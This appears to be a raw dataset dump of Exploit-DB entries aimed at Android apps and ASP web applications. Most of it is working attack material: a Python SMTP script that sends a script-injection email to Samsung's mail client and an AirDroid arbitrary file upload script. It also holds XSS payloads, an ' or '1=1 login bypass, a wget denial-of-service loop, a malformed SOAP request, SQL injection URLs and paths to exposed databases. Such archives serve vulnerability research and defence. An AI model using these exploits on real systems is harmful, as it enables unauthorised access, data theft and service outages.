deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38554
Description: Samsung SecEmailUI - Script Injection
Type: remote
Platform: android
Date: 2015-10-28
Author: Google Security Research

Exploit:
# Source: https://code.google.com/p/google-security-research/issues/detail?id=494

'''
The default Samsung email client's email viewer and composer (implemented in SecEmailUI.apk) doesn't sanitize HTML email content for scripts before rendering the data inside a WebView. This allows an attacker to execute arbitrary JavaScript when a user views a HTML email which contains HTML script tags or other events.

At the very least the JavaScript could exploit the attack surface provided within the WebView control. It might also be possible to access local file content or emails depending on the full configuration of the WebView, although this hasn't been tested fully. 

This can also be exploited locally with the com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND intent which will include attacker controlled HTML in the sending email. If the final message was viewed it would be possible for the script to extract the original message from the Document object and potentially post that information to another server.

Attached is a simple SMTP client in Python to send an HTML message with script contents to the device. The "me", "you", "me_password" and "smtp_server" variables need to be changed to ones appropriate for the sending email account and the receiving account on the phone. When the resulting email is viewed it should display the URL of the page which is of the form email://M/N where M is the email account ID and N is the message ID which proves that the script code executed.
'''

#!/usr/bin/env python

import smtplib

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

# Change the details here appropriate to your configuration
me = "attacker@gmail.com"
me_password = "THIS IS NOT REAL"
you = "project.zero.test@gmail.com"
smtp_server = "smtp.gmail.com"

msg = MIMEMultipart('alternative')
msg['Subject'] = "Hello There!"
msg['From'] = me
msg['To'] = you

text = "Hello There!"
html = """\
<html>
  <head></head>
  <body>
   <p>
       <script>try { document.write(document.location); } catch(e) { document.write(e.message); }</script>
    </p>
  </body>
</html>
"""

part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')

msg.attach(part1)
msg.attach(part2)

s = smtplib.SMTP_SSL(smtp_server)
s.login(me, me_password)
s.sendmail(me, you, msg.as_string())
s.quit()
Exploit-DB #38586
Description: TaxiMonger for Android - 'name' HTML Injection
Type: remote
Platform: android
Date: 2013-06-15
Author: Ismail Kaleem

Exploit:
source: https://www.securityfocus.com/bid/60566/info

TaxiMonger for Android is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

TaxiMonger 2.6.2 and 2.3.3 are vulnerable; other versions may also be affected. 

<Script Language='Javascript'> <!-- document.write(unescape('%3C%69%6D%61%67%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%76%75%6C%6E%2D%6C%61%62 %2E%63%6F%6D%20%6F%6E%65%72%72%6F%72%3D%61%6C%65%72%74%28%27%69%73%6D%61%69%6C%6B%61%6C%65%65%6D%27%29%20%2F%3E')); //--> </Script>
Exploit-DB #37504
Description: AirDroid - Arbitrary File Upload
Type: webapps
Platform: android
Date: 2015-07-06
Author: Parsa Adib

Exploit:
#/IN THE NAME OF GOD
#/auth====PARSA ADIB

import sys,requests,re,urllib2
def logo():
 print"\t\t       .__           .___             .__    .___"
 print"\t\t_____  |__|______  __| _/______  ____ |__| __| _/"
 print"\t\t\__  \ |  \_  __ \/ __ |\_  __ \/  _ \|  |/ __ | "
 print"\t\t / __ \|  ||  | \/ /_/ | |  | \(  <_> )  / /_/ | "
 print"\t\t(____  /__||__|  \____ | |__|   \____/|__\____ | "
 print"\t\t     \/               \/                      \/ "
 print "\t\tAIRDROID VerAll UPLOAD AUTH BYPASS PoC @ Parsa Adib"
if len(sys.argv)<6 or len(sys.argv)>6 :
 logo()
 print "\t\tUSAGE:python exploit.py ip port remote-file-name local-file-name remote-file-path"
 print "\t\tEXAMPLE:python exploit.py 192.168.1.2 8888 poc poc.txt /sdcard"
else :
 logo()
 print "\n[+]Reciving Details\n-----------------------------"
 try : 
  p = requests.get('http://'+sys.argv[1]+':'+sys.argv[2]+'/sdctl/comm/ping/') 
 except IOError :
  print "\n[!] Check If server is Running"
  sys.exit()
 for i in p.content.split(',') :
  for char in '{"}_': 
   i = i.replace(char,'').upper()
  print "[*]"+i+""
 print "\n[+]Sending File\n-----------------------------"
 try :  
  r = requests.post('http://'+sys.argv[1]+':'+sys.argv[2]+'/sdctl/comm/upload/dir?fn='+sys.argv[3]+'&d='+sys.argv[5]+'&after=1&fname='+sys.argv[3], files={sys.argv[4]: open(sys.argv[4], 'rb').read()})
  if (r.status_code == 200) :
   print "[*]RESPONSE:200"
   print "[*]FILE SENT SUCCESSFULY"
 except IOError :
  print "\n[!] Error"
Exploit-DB #46766
Description: Veeam ONE Reporter 9.5.0.3201 - Persistent Cross-Site Scripting
Type: webapps
Platform: ashx
Date: 2019-04-30
Author: Seyed Sadegh Khatami

Exploit:
# Exploit Title: Veeam ONE Reporter - Stored Cross-site Scripting (Stored XSS)
# Exploit Author: Seyed Sadegh Khatami
# Website: https://www.cert.ir
# Date: 2019-04-27
# Google Dork: N/A
# Vendor Homepage: https://www.veeam.com/
# Software Link: https://www.veeam.com/virtual-server-management-one-free.html
# Version: 9.5.0.3201
# Tested on: Windows Server 2016


#exploit:

Path: /CommonDataHandlerReadOnly.ashx 

method: addDashboard / editDashboard

SET Description(config) field to “AAAAAAA</div><img src=S onerror=alert('KHATAMI');><div>”
Exploit-DB #46767
Description: Veeam ONE Reporter 9.5.0.3201 - Persistent Cross-site Scripting (Add/Edit Widget)
Type: webapps
Platform: ashx
Date: 2019-04-30
Author: Seyed Sadegh Khatami

Exploit:
# Exploit Title: Veeam ONE Reporter - Stored Cross-site Scripting (Add/Edit Widget)
# Exploit Author: Seyed Sadegh Khatami
# Website: https://www.cert.ir
# Date: 2019-04-27
# Google Dork: N/A
# Vendor Homepage: https://www.veeam.com/
# Software Link: https://www.veeam.com/virtual-server-management-one-free.html
# Version: 9.5.0.3201
# Tested on: Windows Server 2016


#exploit:

Path: /CommonDataHandlerReadOnly.ashx 

method: setDashboardWidget

SET Caption field to “AAAAAAAA</div><img src=S onerror=alert('KHATAMI');><div>”
Exploit-DB #12527
Description: Administrador de Contenidos - Admin Authentication Bypass
Type: dos
Platform: asp
Date: 2010-05-07
Author: Ra3cH

Exploit:
************************************************************

**      Administrador de Contenidos  Admin Login Bypass vulnerability

************************************************************

**  Prodcut:        Administrador de Contenidos   

**  Home   :         www.DZ4All.cOm/Cc

**  Vunlerability :        Admin Bypass

**  Risk  :        High

**  Dork :         "Diseño Web Hernest Consulting S.L."

************************************************************

** Discovred by:    Ra3cH

** From           :    Algeria

** Contact     :     e51@hotmail.fr

** *********************************************************

** Greetz to :     ALLAH 

**         All Members of  http://www.DZ4All.cOm/Cc

**          And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen 

************************************************************

**  Exploit:

**  http://[PATH]/admin    or     http://[PATH]/admin/Login.Asp

**

**  user :         ' or '1=1      

**  password :     ' or '1=1   

**  

************************************************************

************************************************************
Exploit-DB #27258
Description: Ipswitch WhatsUp Professional 2006 - Remote Denial of Service
Type: dos
Platform: asp
Date: 2006-02-22
Author: Josh Zlatin-Amishav

Exploit:
source: https://www.securityfocus.com/bid/16771/info

Ipswitch WhatsUp Professional 2006 is susceptible to a remote denial-of-service vulnerability. This issue is due to the application's failure to properly handle certain HTTP GET requests.

This issue allows remote attackers to consume excessive CPU resources on targeted computers, denying service to legitimate users.

http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLogin[CREDENTIAL_REDACTED]=[Log&In]=&sLoginUserName=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&btnLogIn=[Log&In]=&sLoginPassword=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&In]=&btnLogIn=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLogin[CREDENTIAL_REDACTED]=[Log&In]=

An example script to exploit this issue is also available:

while [ 1 ]
do
wget -O /dev/null http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&b;tnLogIn=[Log&In]=&sLoginUserName=
done
Exploit-DB #25962
Description: Microsoft ASP.NET 1.0/1.1 - RPC/Encoded Remote Denial of Service
Type: dos
Platform: asp
Date: 2005-07-12
Author: Bryan Sullivan

Exploit:
source: https://www.securityfocus.com/bid/14217/info

ASP.NET is susceptible to a remote denial of service vulnerability. This issue is due to the possibility of causing an infinite loop on the server when handling RPC/encoded requests.

This issue presents itself when an RPC/encoded Web method accepts an array or object derived from 'IList'. By sending a specially crafted XML request, the 'aspnet_wp.exe' executable enters into an infinite loop.

Remote attackers may exploit this vulnerability to consume excessive CPU resources, potentially denying service to legitimate users. 


<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:tns="http://tempuri.org/"
xmlns:types="http://tempuri.org/encodedTypes"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<tns:Test>
<someList href="#id1" />
</tns:Test>
<tns:ArrayOfInt>
<Item>0</Item>
</tns:ArrayOfint>
</soap:Body>
</soap:Envelope>
Exploit-DB #35154
Description: Sigma Portal - 'ShowObjectPicture.aspx' Denial of Service
Type: dos
Platform: asp
Date: 2010-12-27
Author: Pouya Daneshmand

Exploit:
source: https://www.securityfocus.com/bid/45588/info

Sigma Portal is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to cause the server to consume excessive resources, denying service to legitimate users. 

http://www.example.com/Portal/Picture/ShowObjectPicture.aspx?Width=%27910000&Height=1099000-=&ObjectType=News&ObjectID=(Picture ID)
Exploit-DB #27861
Description: Ipswitch WhatsUp Professional 2006 - '/NmConsole/Navigation.asp?sDeviceView' Cross-Site Scripting
Type: remote
Platform: asp
Date: 2006-05-12
Author: David Maciejak

Exploit:
source: https://www.securityfocus.com/bid/17964/info

WhatsUp Professional is prone to multiple input-validation vulnerabilities. The issues include remote file-include, information-disclosure, source-code disclosure, cross-site scripting, and input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to access or modify data, steal cookie-based authentication credentials, perform username-enumeration, access sensitive information, and gain unauthorized access to script source code. Other attacks are also possible.

http://www.example.com:8022/NmConsole/Navigation.asp?">[code]
Exploit-DB #27862
Description: Ipswitch WhatsUp Professional 2006 - '/NmConsole/ToolResults.asp?sHostname' Cross-Site Scripting
Type: remote
Platform: asp
Date: 2006-05-12
Author: David Maciejak

Exploit:
source: https://www.securityfocus.com/bid/17964/info
 
WhatsUp Professional is prone to multiple input-validation vulnerabilities. The issues include remote file-include, information-disclosure, source-code disclosure, cross-site scripting, and input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
Successful exploits of these vulnerabilities could allow an attacker to access or modify data, steal cookie-based authentication credentials, perform username-enumeration, access sensitive information, and gain unauthorized access to script source code. Other attacks are also possible.
 
http://www.example.com:8022/NmConsole/utility/RenderMap.asp?nDeviceGroupID=2
Exploit-DB #22921
Description: .netCART Settings.XML - Information Disclosure
Type: webapps
Platform: asp
Date: 2003-07-16
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8210/info

.netCART is a web based e-commerce and shopping cart site designed for ASP.NET.

It has been alleged that .netCART fails to adequately protect the contents of a directory in a default install. It is therefore reportedly possible for remote users to request the an XML file from this directory. This could expose sensitive information stored in this file, including authentication credentials to remote attackers.

Information collected in this manner may be used to aid in further attacks launched against the vulnerable system.

http://www.example.com/Data/settings.xml
Exploit-DB #29077
Description: 20/20 Applications Data Shed 1.0 - 'f-email.asp?itemID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-17
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21156/info

20/20 DataShed is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 1.0 is vulnerable.

http://www.example.com/f-email.asp?strPeopleID=1&itemID='[sql]
Exploit-DB #29078
Description: 20/20 Applications Data Shed 1.0 - 'listings.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-17
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21156/info
 
20/20 DataShed is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Version 1.0 is vulnerable.

http://www.example.com/listings.asp?peopleID='[sql]
http://www.example.com/listings.asp?sort_order='[sql]
Exploit-DB #29075
Description: 20/20 Auto Gallery 3.2 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-17
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21154/info

20/20 Auto Gallery is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database implementation, and gain unauthorized access to the affected application.

http://example.com/vehiclelistings.asp?vehicleID=[sql]
http://example.com/vehiclelistings.asp?categoryID_list=[sql]
http://example.com/vehiclelistings.asp?sale_type=[sql]
http://example.com/vehiclelistings.asp?sale_type=&categoryID_list=[sql]
http://example.com/vehiclelistings.asp?trKeywords=123&boolean=OR&stock_number=[sql]
http://example.com/vehiclelistings.asp?sale_type=&categoryID_list=&manufacturer=[sql]
http://example.com/vehiclelistings.asp?sale_type=&categoryID_list=&manufacturer=&model=[sql]
http://example.com/vehiclelistings.asp?trKeywords=123&boolean=OR&stock_number=&vehicleID=[sql]
http://example.com/vehiclelistings.asp?sale_type=&categoryID_list=&manufacturer=&model=&year=[sql]
http://example.com/vehiclelistings.asp?trKeywords=123&boolean=OR&stock_number=&vehicleID=&vin=[sql]
http://example.com/vehiclelistings.asp?sale_type=&categoryID_list=&manufacturer=&model=&year=&listing_price=[sql]
Exploit-DB #28985
Description: 20/20 Real Estate 3.2 - 'listings.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-14
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21036/info

20/20 Real Estate is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/[path]/listings.asp?itemID=[SQL]
Exploit-DB #29074
Description: 20/20 Real Estate 3.2 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-17
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21153/info

20/20 Real Estate is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 3.2 is vulnerable; other versions may also be affected.

http://www.example.com/listings.asp?peopleID='[sql] 
http://www.example.com/f-google_earth.asp?itemID='[sql] 
http://www.example.com/f-email.asp?strPeopleID=1&itemID='[sql] 
http://www.example.com/listings.asp?strPageSize=1&strCurrentPage=1&peopleID='[sql]
Exploit-DB #10573
Description: 8Pixel.net 2009. - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-20
Author: LionTurk

Exploit:
==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [&#65533;] ~ Note : Forever RevengeHack.Com 

==============================================================================  

        [&#65533;] 8pixel.net 2009.  Database Disclosure Vulnerability  

==============================================================================  

   

    [&#65533;] Script:             [  8pixel.net 2009.  ]  

    [&#65533;] Language:           [ ASP ]  

    [&#65533;] Download:           [ http://www.8pixel.net/downloads.aspx ]  

    [&#65533;] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com (Mail G&#65533;nderenin aq... :D ]  

    [&#65533;] My Home:            [ RevengeHack.com , Ar-ge.Org]  

   

###########################################################################  

   

===[ Exploit And Dork  ]===  

   

    [&#65533;] http://[target].com/[path]/App_Data/sb.mdb



   [&#65533;] ( c ) 8pixel.net 2009. All Rights Reserved or 8pixel.net Blog v4 
   





Author:  LionTurk <-  

Thanks You: eXceptioN,CodeInside 
                                 I Love Fenerbah&#65533;e
                                 I Love T&#65533;rkiye
                                 I Love Mustafa K. ATAT&#65533;RK
                                 


###########################################################################
Exploit-DB #29084
Description: A-Cart Pro 2.0 - 'product.asp?ProductID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-18
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21166/info

A-Cart is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

A-Cart 2.0 and A-Cart Pro are vulnerable; other versions may also be affected.

http://www.example.com/path/product.asp?productid=[SQL INJECTION]
Exploit-DB #26747
Description: A-FAQ 1.0 - 'faqDsp.asp?catcode' SQL Injection
Type: webapps
Platform: asp
Date: 2005-12-06
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15741/info
 
A-FAQ is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
A-FAQ 1.0 and earlier versions are vulnerable; other versions may also be affected. 

http://www.example.com/faqDsp.asp?catcode=[SQL]
Exploit-DB #26746
Description: A-FAQ 1.0 - 'faqDspItem.asp?faqid' SQL Injection
Type: webapps
Platform: asp
Date: 2005-12-06
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15741/info

A-FAQ is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

A-FAQ 1.0 and earlier versions are vulnerable; other versions may also be affected. 

http://www.example.com/faqDspItem.asp?faqid=[SQL]
Exploit-DB #4198
Description: A-shop 0.70 - Remote File Deletion
Type: webapps
Platform: asp
Date: 2007-07-18
Author: Timq

Exploit:
A-shop <=0.70 Multiple vulnerabilities

Found Bug: Timq
site:http://private-node.net
email:timq@hushmail.com


Vendor:http://www.rammdev.com/ashop/

PoC:
http://site.com/admin/filebrowser.asp?folder=products&delfiles=[del any file on server]

It is possible to delete not only the files in the folders listed,
but also ouside its directory.
Also possible sql injections in other areas.

# milw0rm.com [2007-07-18]
Exploit-DB #11096
Description: ABB 1.1 - Forum Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2010-01-10
Author: ViRuSMaN

Exploit:
==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


==============================================================================
        [»] ABB v1.1 Forum Remote Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ ABB Forums ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ Possede de tres nombreuses options d administration et de configuration ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://server/[path]/fpdb/abb.mdb


===[ Admin Login ]===

    [»] http://server/[path]/admin.asp


Author: ViRuSMaN <-

###########################################################################